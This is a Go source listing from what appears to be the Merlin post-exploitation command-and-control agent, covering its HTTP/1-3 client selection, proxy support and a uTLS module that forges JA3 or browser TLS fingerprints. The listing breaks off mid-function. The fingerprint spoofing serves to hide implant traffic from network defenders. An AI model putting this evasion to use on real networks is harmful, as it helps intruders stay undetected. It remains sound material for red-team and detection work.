gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= ================================================ FILE: http/http.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package http provides HTTP clients for various HTTP protocols and operating systems package http import ( // Standard "fmt" "github.com/Ne0nd0g/merlin-agent/v2/http/http3" "net/http" // Internal "github.com/Ne0nd0g/merlin-agent/v2/http/http1" "github.com/Ne0nd0g/merlin-agent/v2/http/http2" "github.com/Ne0nd0g/merlin-agent/v2/http/proxy" "github.com/Ne0nd0g/merlin-agent/v2/http/utls" "github.com/Ne0nd0g/merlin-agent/v2/http/winhttp" ) // Type is the type of HTTP client to use from the constants in this package (e.g., HTTP, H2C, WINHTTP, etc.) type Type int // Supported protocols const ( // UNDEFINED is the default value when a Type was not set UNDEFINED Type = iota // HTTP is HTTP/1.1 Clear-Text protocol HTTP // HTTPS is HTTP/1.1 Secure (over SSL/TLS) protocol HTTPS // H2C is HTTP/2.0 Clear-Text protocol H2C // HTTP2 is HTTP/2.0 Secure (over SSL/TLS) HTTP2 // HTTP3 is HTTP/2.0 Secure over Quick UDP Internet Connection (QUIC) HTTP3 // WINHTTP uses the Windows WinHTTP API WINHTTP // WININET uses the Windows WinINet API WININET // JA3 uses the JA3 fingerprinting library JA3 // PARROT uses the Parrot HTTP client PARROT ) // Config is the configuration for the HTTP client type Config struct { ClientType Type Insecure bool JA3 string Parrot string Protocol string ProxyURL string ProxyUser string ProxyPass string } // Client is the interface for the HTTP client designed to mimic the http.Client type Client interface { Do(req *http.Request) (*http.Response, error) } // NewHTTPClient creates a new HTTP client that implements the Client interface based on the configuration func NewHTTPClient(config Config) (client Client, err error) { switch config.ClientType { case HTTP, HTTPS: return http1.NewHTTPClient(config.Protocol, config.ProxyURL, config.Insecure) case HTTP2, H2C: return http2.NewHTTPClient(config.Protocol, config.Insecure) case HTTP3: return http3.NewHTTPClient(config.Insecure) case WINHTTP: return winhttp.NewHTTPClient(config.Protocol, config.ProxyURL, config.Insecure) case JA3: // Proxy proxyFunc, errProxy := proxy.GetProxy(config.Protocol, config.ProxyURL) if errProxy != nil { return nil, errProxy } var transport *utls.Transport transport, err = utls.NewTransportFromJA3(config.JA3, config.Insecure, proxyFunc) if err != nil { return nil, err } return &http.Client{Transport: transport}, nil case PARROT: // Proxy proxyFunc, errProxy := proxy.GetProxy(config.Protocol, config.ProxyURL) if errProxy != nil { return nil, errProxy } var transport *utls.Transport transport, err = utls.NewTransportFromParrot(config.Parrot, config.Insecure, proxyFunc) if err != nil { return nil, err } return &http.Client{Transport: transport}, nil case UNDEFINED: return nil, fmt.Errorf("http/http.go/NewHTTPClient(): client type was not set") default: return nil, fmt.Errorf("http/http.go/NewHTTPClient(): client type '%s:%d' is un handled", config.ClientType, config.ClientType) } } // String converts a protocol type constant to its string representation func (t Type) String() string { switch t { case UNDEFINED: return "UNDEFINED" case HTTP: return "HTTP" case HTTPS: return "HTTPS" case H2C: return "H2C" case HTTP2: return "HTTP2" case HTTP3: return "HTTP3" case WINHTTP: return "WINHTTP" case WININET: return "WININET" case JA3: return "JA3" case PARROT: return "PARROT" default: return "UNDEFINED" } } ================================================ FILE: http/http1/http1.go ================================================ //go:build http || http1 || mythic || !(http2 || http3 || winhttp || smb || tcp || udp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package http1 provides an HTTP/1.1 client using the Go standard library package http1 import ( // Standard "crypto/tls" "fmt" "net/http" "strings" "time" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/http/proxy" ) // NewHTTPClient returns an HTTP/1.1 client using the Go standard library func NewHTTPClient(protocol, proxyURL string, insecure bool) (*http.Client, error) { cli.Message(cli.DEBUG, "http/http1/http1.go/NewHTTPClient(): Entering into function...") cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Proxy: %s, insecure: %t", protocol, proxyURL, insecure)) // Setup TLS configuration TLSConfig := &tls.Config{ MinVersion: tls.VersionTLS12, InsecureSkipVerify: insecure, // #nosec G402 - intentionally configurable to allow self-signed certificates. See https://github.com/Ne0nd0g/merlin/issues/59 CipherSuites: []uint16{ tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, }, } // Proxy proxyFunc, errProxy := proxy.GetProxy(protocol, proxyURL) if errProxy != nil { return nil, errProxy } var transport http.RoundTripper switch strings.ToLower(protocol) { case "https": TLSConfig.NextProtos = []string{"http/1.1"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids transport = &http.Transport{ TLSClientConfig: TLSConfig, MaxIdleConns: 10, Proxy: proxyFunc, IdleConnTimeout: 1 * time.Nanosecond, } case "http": transport = &http.Transport{ MaxIdleConns: 10, Proxy: proxyFunc, IdleConnTimeout: 1 * time.Nanosecond, } default: return nil, fmt.Errorf("%s is not a valid client protocol", protocol) } return &http.Client{Transport: transport}, nil } ================================================ FILE: http/http1/http1_exclude.go ================================================ //go:build !http1 && !mythic && (http2 || http3 || winhttp || smb || tcp || udp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package http1 provides an HTTP/1.1 client using the Go standard library package http1 import ( "fmt" "net/http" ) // NewHTTPClient returns an HTTP/1.1 client using the Go standard library func NewHTTPClient(protocol, proxyURL string, insecure bool) (*http.Client, error) { return nil, fmt.Errorf("http/http1/http1_exclude.go/NewHTTPClient(): HTTP/1 client not compiled into this program") } ================================================ FILE: http/http2/http2.go ================================================ //go:build http || http2 || !(http3 || mythic || winhttp || smb || tcp || udp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package http2 provides an HTTP/2 client package http2 import ( // Standard "context" "crypto/tls" "fmt" "net" "net/http" "strings" // X Packages "golang.org/x/net/http2" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // NewHTTPClient returns an HTTP/2 client func NewHTTPClient(protocol string, insecure bool) (*http.Client, error) { cli.Message(cli.DEBUG, "http/http2/http2.go/NewHTTPClient(): Entering into function...") cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Insecure: %t", protocol, insecure)) // Setup TLS configuration TLSConfig := &tls.Config{ MinVersion: tls.VersionTLS12, InsecureSkipVerify: insecure, // #nosec G402 - intentionally configurable to allow self-signed certificates. See https://github.com/Ne0nd0g/merlin/issues/59 CipherSuites: []uint16{ tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, }, } var transport http.RoundTripper switch strings.ToLower(protocol) { case "h2", "http2": TLSConfig.NextProtos = []string{"h2"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids transport = &http2.Transport{ TLSClientConfig: TLSConfig, } case "h2c": transport = &http2.Transport{ AllowHTTP: true, DialTLSContext: func(ctx context.Context, network, addr string, cfg *tls.Config) (net.Conn, error) { return net.Dial(network, addr) }, } default: return nil, fmt.Errorf("%s is not a valid client protocol", protocol) } return &http.Client{Transport: transport}, nil } ================================================ FILE: http/http2/http2_exclude.go ================================================ //go:build !http2 && (http3 || mythic || winhttp || smb || tcp || udp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package http2 import ( // Standard "fmt" "net/http" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // NewHTTPClient returns an HTTP/1.1 client using the Go standard library // NewHTTPClient returns an HTTP/2 client func NewHTTPClient(protocol string, insecure bool) (*http.Client, error) { cli.Message(cli.DEBUG, "http/http2/http2_exclude.go/NewHTTPClient(): Entering into function...") cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Insecure: %t", protocol, insecure)) return nil, fmt.Errorf("http/http2/http2_exclude.go/NewHTTPClient(): HTTP/2 client not compiled into this program") } ================================================ FILE: http/http3/http3.go ================================================ //go:build http || http3 || !(http2 || mythic || winhttp || smb || tcp || udp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package http3 provides an HTTP/2 over QUIC, known as HTTP/3, client package http3 import ( // Standard "crypto/tls" "fmt" "net/http" "time" // 3rd Party "github.com/quic-go/quic-go" "github.com/quic-go/quic-go/http3" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // NewHTTPClient returns an HTTP/3 client func NewHTTPClient(insecure bool) (*http.Client, error) { cli.Message(cli.DEBUG, "http/http3/http3.go/NewHTTPClient(): Entering into function...") cli.Message(cli.DEBUG, fmt.Sprintf("Insecure: %t", insecure)) // Setup TLS configuration TLSConfig := &tls.Config{ MinVersion: tls.VersionTLS12, InsecureSkipVerify: insecure, // #nosec G402 - intentionally configurable to allow self-signed certificates. See https://github.com/Ne0nd0g/merlin/issues/59 CipherSuites: []uint16{ tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, }, } TLSConfig.NextProtos = []string{"h3"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids transport := &http3.RoundTripper{ QUICConfig: &quic.Config{ // Opted for a long timeout to prevent the client from sending a PING Frame. // If MaxIdleTimeout is too high, agent will never get an error if the server is offline and will perpetually run without exiting because MaxFailedCheckins is never incremented MaxIdleTimeout: time.Second * 30, // KeepAlivePeriod will send an HTTP/2 PING frame to keep the connection alive // If this isn't used, and the agent's sleep is greater than the MaxIdleTimeout, then the connection will time out KeepAlivePeriod: time.Second * 30, // HandshakeIdleTimeout is how long the client will wait to hear back while setting up the initial crypto handshake w/ server HandshakeIdleTimeout: time.Second * 30, }, TLSClientConfig: TLSConfig, } return &http.Client{Transport: transport}, nil } ================================================ FILE: http/http3/http3_exclude.go ================================================ //go:build !http3 && (http2 || mythic || winhttp || smb || tcp || udp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package http3 import ( // Standard "fmt" "net/http" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // NewHTTPClient returns an HTTP/3 client func NewHTTPClient(insecure bool) (*http.Client, error) { cli.Message(cli.DEBUG, "http/http3/http3_exclude.go/NewHTTPClient(): Entering into function...") cli.Message(cli.DEBUG, fmt.Sprintf("Insecure: %t", insecure)) return nil, fmt.Errorf("http/http3/http3_exclude.go/NewHTTPClient(): HTTP/3 client not compiled into this program") } ================================================ FILE: http/proxy/proxy.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package proxy import ( // Standard "fmt" "net/http" "net/url" "os" "strings" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // GetProxy returns a proxy function for the passed in protocol and proxy URL if any // Reads the HTTP_PROXY and HTTPS_PROXY environment variables if no proxy URL was passed in func GetProxy(protocol string, proxyURL string) (func(*http.Request) (*url.URL, error), error) { cli.Message(cli.DEBUG, "Entering into clients.http.getProxy()...") cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Proxy: %s", protocol, proxyURL)) // The HTTP/2 protocol does not support proxies if strings.ToLower(protocol) != "http" && strings.ToLower(protocol) != "https" { if proxyURL != "" { return nil, fmt.Errorf("clients/http.getProxy(): %s protocol does not support proxies; use http or https protocol", protocol) } cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.getProxy(): %s protocol does not support proxies, continuing without proxy (if any)", protocol)) return nil, nil } var proxy func(*http.Request) (*url.URL, error) if proxyURL != "" { rawURL, errProxy := url.Parse(proxyURL) if errProxy != nil { return nil, fmt.Errorf("there was an error parsing the proxy string:\n%s", errProxy.Error()) } cli.Message(cli.DEBUG, fmt.Sprintf("Parsed Proxy URL: %+v", rawURL)) proxy = http.ProxyURL(rawURL) return proxy, nil } // Check for, and use, HTTP_PROXY, HTTPS_PROXY and NO_PROXY environment variables var p string switch strings.ToLower(protocol) { case "http": p = os.Getenv("HTTP_PROXY") case "https": p = os.Getenv("HTTPS_PROXY") } if p != "" { cli.Message(cli.NOTE, fmt.Sprintf("Using proxy from environment variables for protocol %s: %s", protocol, p)) proxy = http.ProxyFromEnvironment } return proxy, nil } ================================================ FILE: http/utls/utls.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ /* https://github.com/CUCyber/ja3transport/ MIT License Copyright (c) 2019 CU Cyber Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ package utls import ( // Standard "bufio" "context" "crypto/sha256" t "crypto/tls" "fmt" "math/rand" "net" "net/http" "net/url" "strconv" "strings" "sync" "time" // X-Packages "golang.org/x/net/http2" // 3rd Party tls "github.com/refraction-networking/utls" ) // tlsExtensions is a TLSExtension objects associated with their extension number // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#tls-extensiontype-values-1 var tlsExtensions = map[string]tls.TLSExtension{ "0": &tls.SNIExtension{}, "5": &tls.StatusRequestExtension{}, // These are applied later // "10": &tls.SupportedCurvesExtension{...} // "11": &tls.SupportedPointsExtension{...} "13": &tls.SignatureAlgorithmsExtension{ SupportedSignatureAlgorithms: []tls.SignatureScheme{ tls.ECDSAWithP256AndSHA256, tls.PSSWithSHA256, tls.PKCS1WithSHA256, tls.ECDSAWithP384AndSHA384, tls.PSSWithSHA384, tls.PKCS1WithSHA384, tls.PSSWithSHA512, tls.PKCS1WithSHA512, tls.PKCS1WithSHA1, }, }, "16": &tls.ALPNExtension{ AlpnProtocols: []string{"h2", "http/1.1"}, }, "17": &tls.StatusRequestV2Extension{}, "18": &tls.SCTExtension{}, //"21": &tls.UtlsPaddingExtension{GetPaddingLen: tls.BoringPaddingStyle}, "21": &tls.UtlsPaddingExtension{GetPaddingLen: CustomPaddingStyle}, "22": &tls.GenericExtension{Id: 22}, "23": &tls.ExtendedMasterSecretExtension{}, "24": &tls.FakeTokenBindingExtension{}, "27": &tls.UtlsCompressCertExtension{}, "28": &tls.FakeRecordSizeLimitExtension{}, "34": &tls.FakeDelegatedCredentialsExtension{}, // delegated_credentials "35": &tls.SessionTicketExtension{}, //"41": &tls.GenericExtension{Id: 41}, "43": &tls.SupportedVersionsExtension{Versions: []uint16{ tls.GREASE_PLACEHOLDER, tls.VersionTLS13, tls.VersionTLS12, tls.VersionTLS11, tls.VersionTLS10}}, "44": &tls.CookieExtension{}, "45": &tls.PSKKeyExchangeModesExtension{ Modes: []uint8{ tls.PskModeDHE, }}, "51": &tls.KeyShareExtension{KeyShares: []tls.KeyShare{}}, "13172": &tls.NPNExtension{}, "17513": &tls.ApplicationSettingsExtension{}, "65281": &tls.RenegotiationInfoExtension{ Renegotiation: tls.RenegotiateOnceAsClient, }, } // NewTransportFromJA3 creates a new http.Transport object given an utls.Config func NewTransportFromJA3(ja3 string, InsecureSkipVerify bool, proxy func(*http.Request) (*url.URL, error)) (*Transport, error) { spec, err := JA3toClientHello(ja3) if err != nil { return nil, err } tlsConfig := &t.Config{ InsecureSkipVerify: InsecureSkipVerify, // #nosec G402 - intentionally configurable to allow self-signed certificates } transport := Transport{ clientHello: tls.HelloCustom, clientHelloSpec: spec, tr1: http.Transport{MaxIdleConns: 10, IdleConnTimeout: 1 * time.Nanosecond, TLSClientConfig: tlsConfig}, tr2: http2.Transport{TLSClientConfig: tlsConfig}, proxy: proxy, } return &transport, nil } // NewTransportFromParrot takes in a string that represents a ClientHelloID to parrot a TLS connection that // looks like an associated browser and returns a http transport structure func NewTransportFromParrot(parrot string, InsecureSkipVerify bool, proxy func(*http.Request) (*url.URL, error)) (*Transport, error) { clientHello, err := ParrotStringToClientHelloID(parrot) if err != nil { return nil, err } tlsConfig := &t.Config{ InsecureSkipVerify: InsecureSkipVerify, // #nosec G402 - intentionally configurable to allow self-signed certificates } transport := Transport{ clientHello: clientHello, tr1: http.Transport{MaxIdleConns: 10, IdleConnTimeout: 1 * time.Nanosecond, TLSClientConfig: tlsConfig}, tr2: http2.Transport{TLSClientConfig: tlsConfig}, proxy: proxy, } return &transport, nil } // JA3toClientHello creates a ClientHelloSpec based on a JA3 string // JA3 string format: SSLVersion,Cipher,SSLExtension,EllipticCurve,EllipticCurvePointFormat func JA3toClientHello(ja3 string) (*tls.ClientHelloSpec, error) { // Remove Unicode dashes // Unicode Hyphen U+2010 ja3 = strings.ReplaceAll(ja3, "‐", "-") // Unicode Non-Breaking Hyphen U+2011 ja3 = strings.ReplaceAll(ja3, "‑", "-") // Unicode En Dash U+2013 ja3 = strings.ReplaceAll(ja3, "–", "-") // Split the JA3 string into tokens tokens := strings.Split(ja3, ",") if len(tokens) != 5 { return nil, fmt.Errorf("ja3transport: the provided ja3 string did not contain five comma separated fields") } // Parse JA3 string fields version := tokens[0] ciphers := strings.Split(tokens[1], "-") extensions := strings.Split(tokens[2], "-") curves := strings.Split(tokens[3], "-") pointFormats := strings.Split(tokens[4], "-") // Parse SSLVersion vid64, err := strconv.ParseUint(version, 10, 16) if err != nil { return nil, fmt.Errorf("ja3transport: unable to convert SSLVersion %s to an integer: %s", version, err) } // Add SSLVersion to ClientHelloSpec structure clientHello := tls.ClientHelloSpec{ TLSVersMin: uint16(vid64), TLSVersMax: uint16(vid64), } tlsExtensions["43"] = &tls.SupportedVersionsExtension{ Versions: []uint16{uint16(vid64)}, } // Parse CipherSuites for _, c := range ciphers { cid, err := strconv.ParseUint(c, 10, 16) if err != nil { return nil, fmt.Errorf("ja3transport: unable to convert CipherSuites %s to an integer: %s", c, err) } // Add CipherSuites to ClientHelloSpec structure clientHello.CipherSuites = append(clientHello.CipherSuites, uint16(cid)) } // Parse EllipticCurve if len(curves) == 1 && curves[0] == "" { curves = []string{} } else if len(curves) > 0 { var targetCurves []tls.CurveID for _, c := range curves { cid, err := strconv.ParseUint(c, 10, 16) if err != nil { return nil, err } targetCurves = append(targetCurves, tls.CurveID(cid)) } tlsExtensions["10"] = &tls.SupportedCurvesExtension{Curves: targetCurves} } // Parse EllipticCurvePointFormat if len(pointFormats) == 1 && pointFormats[0] == "" { pointFormats = []string{} } else if len(pointFormats) > 0 { var targetPointFormats []byte for _, p := range pointFormats { pid, err := strconv.ParseUint(p, 10, 8) if err != nil { return nil, err } targetPointFormats = append(targetPointFormats, byte(pid)) } tlsExtensions["11"] = &tls.SupportedPointsExtension{SupportedPoints: targetPointFormats} } // Parse SSLExtension // Needs to happen AFTER elliptic curve data is added to the global extension map for _, e := range extensions { extension, ok := tlsExtensions[e] if !ok { return nil, fmt.Errorf("ja3transport: TLS extension %s does not exist in package extension map", e) } // Add SSLExtensions to ClientHelloSpec structure clientHello.Extensions = append(clientHello.Extensions, extension) } clientHello.GetSessionID = sha256.Sum256 clientHello.CompressionMethods = []byte{0} return &clientHello, nil } // ParrotStringToClientHelloID reads in a string that represents a uTLS ClientHelloID and returns the real ClientHelloID object // https://github.com/refraction-networking/utls/blob/8e1e65eb22d21c635523a31ec2bcb8730991aaad/u_common.go#L150 func ParrotStringToClientHelloID(parrot string) (clientHello tls.ClientHelloID, err error) { switch strings.ToLower(parrot) { // Valid options are tied to uTLS version 1.1.5 case strings.ToLower("HelloGolang"): clientHello = tls.HelloGolang case strings.ToLower("HelloCustom"): clientHello = tls.HelloCustom case strings.ToLower("HelloRandomized"): clientHello = tls.HelloRandomized case strings.ToLower("HelloRandomizedALPN"): clientHello = tls.HelloRandomizedALPN case strings.ToLower("HelloRandomizedNoALPN"): clientHello = tls.HelloRandomizedNoALPN case strings.ToLower("HelloFirefox_Auto"): clientHello = tls.HelloFirefox_Auto case strings.ToLower("HelloFirefox_55"): clientHello = tls.HelloFirefox_55 case strings.ToLower("HelloFirefox_56"): clientHello = tls.HelloFirefox_56 case strings.ToLower("HelloFirefox_63"): clientHello = tls.HelloFirefox_63 case strings.ToLower("HelloFirefox_65"): clientHello = tls.HelloFirefox_65 case strings.ToLower("HelloFirefox_99"): clientHello = tls.HelloFirefox_99 case strings.ToLower("HelloFirefox_102"): clientHello = tls.HelloFirefox_102 case strings.ToLower("HelloFirefox_105"): clientHello = tls.HelloFirefox_105 case strings.ToLower("HelloChrome_Auto"): clientHello = tls.HelloChrome_Auto case strings.ToLower("HelloChrome_58"): clientHello = tls.HelloChrome_58 case strings.ToLower("HelloChrome_62"): clientHello = tls.HelloChrome_62 case strings.ToLower("HelloChrome_70"): clientHello = tls.HelloChrome_70 case strings.ToLower("HelloChrome_72"): clientHello = tls.HelloChrome_72 case strings.ToLower("HelloChrome_83"): clientHello = tls.HelloChrome_83 case strings.ToLower("HelloChrome_87"): clientHello = tls.HelloChrome_87 case strings.ToLower("HelloChrome_96"): clientHello = tls.HelloChrome_96 case strings.ToLower("HelloChrome_100"): clientHello = tls.HelloChrome_100 case strings.ToLower("HelloChrome_102"): clientHello = tls.HelloChrome_102 case strings.ToLower("HelloIOS_Auto"): clientHello = tls.HelloIOS_Auto case strings.ToLower("HelloIOS_11_1"): clientHello = tls.HelloIOS_11_1 case strings.ToLower("HelloIOS_12_1"): clientHello = tls.HelloIOS_12_1 case strings.ToLower("HelloIOS_13"): clientHello = tls.HelloIOS_13 case strings.ToLower("HelloIOS_14"): clientHello = tls.HelloIOS_14 case strings.ToLower("HelloAndroid_11_OkHttp"): clientHello = tls.HelloAndroid_11_OkHttp case strings.ToLower("HelloEdge_Auto"): clientHello = tls.HelloEdge_Auto case strings.ToLower("HelloEdge_85"): clientHello = tls.HelloEdge_85 case strings.ToLower("HelloEdge_106"): clientHello = tls.HelloEdge_106 case strings.ToLower("HelloSafari_Auto"): clientHello = tls.HelloSafari_Auto case strings.ToLower("HelloSafari_16_0"): clientHello = tls.HelloSafari_16_0 case strings.ToLower("Hello360_Auto"): clientHello = tls.Hello360_Auto case strings.ToLower("Hello360_7_5"): clientHello = tls.Hello360_7_5 case strings.ToLower("Hello360_11_0"): clientHello = tls.Hello360_11_0 case strings.ToLower("HelloQQ_Auto"): clientHello = tls.HelloQQ_Auto case strings.ToLower("HelloQQ_11_1"): clientHello = tls.HelloQQ_11_1 default: err = fmt.Errorf("ja3transport: unable to convert parrot string %s to a ClientHelloID", parrot) } return } // dialer is a custom Dialer that facilitates the use of a proxy type dialer struct { address string // Address to establish the network connection to conn net.Conn // conn is TCP connection to the proxy network string // Network is the network type to use when dialing the proxy, typically "tcp" } // DialContext establishes a TCP connection to the provided Address // This package uses this function to establish a TCP connection to a proxy // The function must implement the net.Dialer interface // The input network and address parameters are ignored because they are for the source HTTP request, not the proxy request func (d *dialer) DialContext(ctx context.Context, network, address string) (conn net.Conn, err error) { utlsDialer := net.Dialer{ Timeout: 30 * time.Second, } conn, err = utlsDialer.DialContext(ctx, d.network, d.address) if err != nil { err = fmt.Errorf("clients/utls/utls.go: there was an error dialing '%s:%s' for the request to '%s:%s': %s", d.network, d.address, network, address, err) return } d.conn = conn return } // Copied from @ox1234 via https://github.com/refraction-networking/utls/issues/16 // Transport is custom http.Transport that switches clients between HTTP/1.1 and HTTP2 depending on which protocol // was negotiated during the TLS handshake. // It is also used to create a http.Transport structure from a JA3 or parrot string type Transport struct { tr1 http.Transport tr2 http2.Transport mu sync.RWMutex clientHello tls.ClientHelloID clientHelloSpec *tls.ClientHelloSpec proxy func(*http.Request) (*url.URL, error) } // RoundTrip completes the TLS handshake and creates a http client depending on the negotiated http version during the // TLS handshake (e.g., http/1.1 or h2). After the handshake, the HTTP request is sent to the destination. func (t *Transport) RoundTrip(req *http.Request) (*http.Response, error) { var conn net.Conn var err error // If there is no proxy, establish the TCP connection if t.proxy == nil { // Identify what port to connect to for manually establishing the TCP connection address := req.URL.Host if req.URL.Port() == "" { if req.URL.Scheme == "http" { address = fmt.Sprintf("%s:80", req.URL.Host) } else { address = fmt.Sprintf("%s:443", req.URL.Host) } } conn, err = net.Dial("tcp", address) if err != nil { return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): %w", err) } } else { // If there is a proxy, sent the HTTP CONNECT method request before establishing the TLS connection // Get the proxy URL var proxyURL *url.URL proxyURL, err = t.proxy(req) if err != nil { return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): there was an error getting the proxy URL: %s", err) } // If the proxy URL is nil, then this request does not use the proxy // Send CONNECT request to proxy if proxyURL != nil { // Set up the custom dialer u := dialer{ network: "tcp", address: proxyURL.Host, } // Set up the custom transport trans := &http.Transport{ DisableCompression: true, DialContext: u.DialContext, } // Build the CONNECT request for the proxy var proxyReq *http.Request // The protocol should match the protocol the proxy is expecting and host:port should be the destination connectURL := fmt.Sprintf("%s://%s", proxyURL.Scheme, req.URL.Host) proxyReq, err = http.NewRequest(http.MethodConnect, connectURL, nil) if err != nil { return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): there was an error creating the CONNECT request: %w", err) } proxyReq.Header.Set("User-Agent", req.UserAgent()) // Send the CONNECT request to the proxy var resp *http.Response resp, err = trans.RoundTrip(proxyReq) if err != nil { return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): there was an error sending the CONNECT request: %w", err) } if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): there was an error sending the CONNECT request: %s", resp.Status) } conn = u.conn } } // Complete the TLS handshake uConn, err := t.tlsConnect(conn, req) if err != nil { return nil, fmt.Errorf("tls connect fail: %w", err) } switch 